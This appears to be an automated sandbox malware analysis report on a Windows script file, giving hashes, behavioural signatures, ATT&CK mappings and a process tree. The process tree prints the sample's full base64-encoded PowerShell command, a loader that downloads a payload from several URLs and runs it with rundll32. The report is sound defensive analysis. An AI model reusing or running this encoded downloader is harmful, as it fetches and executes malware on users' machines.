4fb643601b18870623a6ad6b4791ab7d6911815be50ab55e24254fdc541027e2

Analysis

max time kernel
35s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
12/04/2023, 13:12

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General

Target

Pryetzf.wsf
Size

239KB
MD5

ab0e6bc1caa69e44b742ce3144b58669
SHA1

714577ed7130243e3d10e87f950ae6d08ebe2849
SHA256

d34a795ffbb4531a828d6af74df3bd0d06d02fc645e5617dc74ab239b915dfeb
SHA512

12fdd4bdb7a3a19a0113e62e630d002776ad43704205c28eda0df110820a93af8581c9d27d338113792be91531b1f9b4d813f68dc48a232d25812656bc81bcd7
SSDEEP

6144:tB1RO8152lGM7Cd8t2vsfULNNmdKp974ay8hiFpr5:GGMO8t2vM6aWyvFpr5

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 1684	1700	WScript.exe	28
PID 1700 wrote to memory of 1684	1700	WScript.exe	28
PID 1700 wrote to memory of 1684	1700	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pryetzf.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAQQBuAGkAZABpAG8AbQBhAHQAaQBjAGEAbABNAHkAYwBlAHQAbwB6AG8AYQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAHMAdAByAGEAZwBpAGMAaQBhAG4ALgBjAG8AbQAvAHUAcQA2ADMAbAAvAGEAZgB1AGYANAAsAGgAdAB0AHAAcwA6AC8ALwBtAG0AaABoAGYALgBjAG8AbQAvAGMAeQBvAGEATABDAGoALwA1AEkANgBhAGcAYwBZAE8AaQAsAGgAdAB0AHAAcwA6AC8ALwBuAGUAdAB1AGwAdAByAGEALgBjAG8AbQAuAGIAcgAvAGIAUwBxAEEATQBpAC8ASgBSAG4AbwAwAEsAMABDAGYALABoAHQAdABwAHMAOgAvAC8AcwBvAGEAcgBlAHMAZABlAHMAaQBnAG4AZQByAC4AYwBvAG0ALgBiAHIALwBRAGsAUwB3AHAAOAAvAHIAVwBZAHIAOAAsAGgAdAB0AHAAcwA6AC8ALwBiAHkAdABlAGQAZQBzAGkAZwBuAC4AbgBlAHQALwB2AFAAcQB5AFcAeABiAC8AMAAyADAANAAyADMALgBnAGkAZgAsAGgAdAB0AHAAcwA6AC8ALwByAHoAYgBwAG8ALgBjAG8AbQAuAGIAcgAvADAATQBxAGEARQAvAGgAMABDAHkAYQB0AFQAdgBVAHUASgAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAbwBzAHQAbwBvAGwALQBzAGEALgBjAG8AbQAvAFgAcwBYAFkAbwBkAC8AcwBFAFoAcwBSAHEAUABMAEcARQBqAHQALABoAHQAdABwAHMAOgAvAC8AZwByAGEAcABoAGkAeABjAHIAZQBhAHQAaQB2AGkAdAB5AC4AYwBvAG0ALwBNAG8ASgBCAFEALwBDAGoAQwA1ADYAYwBWAEQAOAA5ADEAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAaABvAHQAbQBvAHUAdABoAGUAZABBAG4AdABoAHIAbwBwAG8AbQBvAHIAcABoAGkAcwBtACAAaQBuACAAJABBAG4AaQBkAGkAbwBtAGEAdABpAGMAYQBsAE0AeQBjAGUAdABvAHoAbwBhACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABoAG8AdABtAG8AdQB0AGgAZQBkAEEAbgB0AGgAcgBvAHAAbwBtAG8AcgBwAGgAaQBzAG0AIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADgAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAGgAbwBsAGwAeQBsAGUAYQBmAFAAcgBvAHYAZQBuAHQAcgBpAGMAdQBsAGEAcgAuAGEAeQBhAHAAYQBuAGEAUwBsAGEAdABoAGUAcgBpAG4AZwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGgAbwBsAGwAeQBsAGUAYQBmAFAAcgBvAHYAZQBuAHQAcgBpAGMAdQBsAGEAcgAuAGEAeQBhAHAAYQBuAGEAUwBsAGEAdABoAGUAcgBpAG4AZwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABoAG8AbABsAHkAbABlAGEAZgBQAHIAbwB2AGUAbgB0AHIAaQBjAHUAbABhAHIALgBhAHkAYQBwAGEAbgBhAFMAbABhAHQAaABlAHIAaQBuAGcALABOAGkAawBuADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1684-58-0x000000001B140000-0x000000001B422000-memory.dmp

Filesize
2.9MB

Download
memory/1684-59-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/1684-60-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1684-61-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1684-62-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1684-63-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1684-64-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1684-65-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1684-66-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download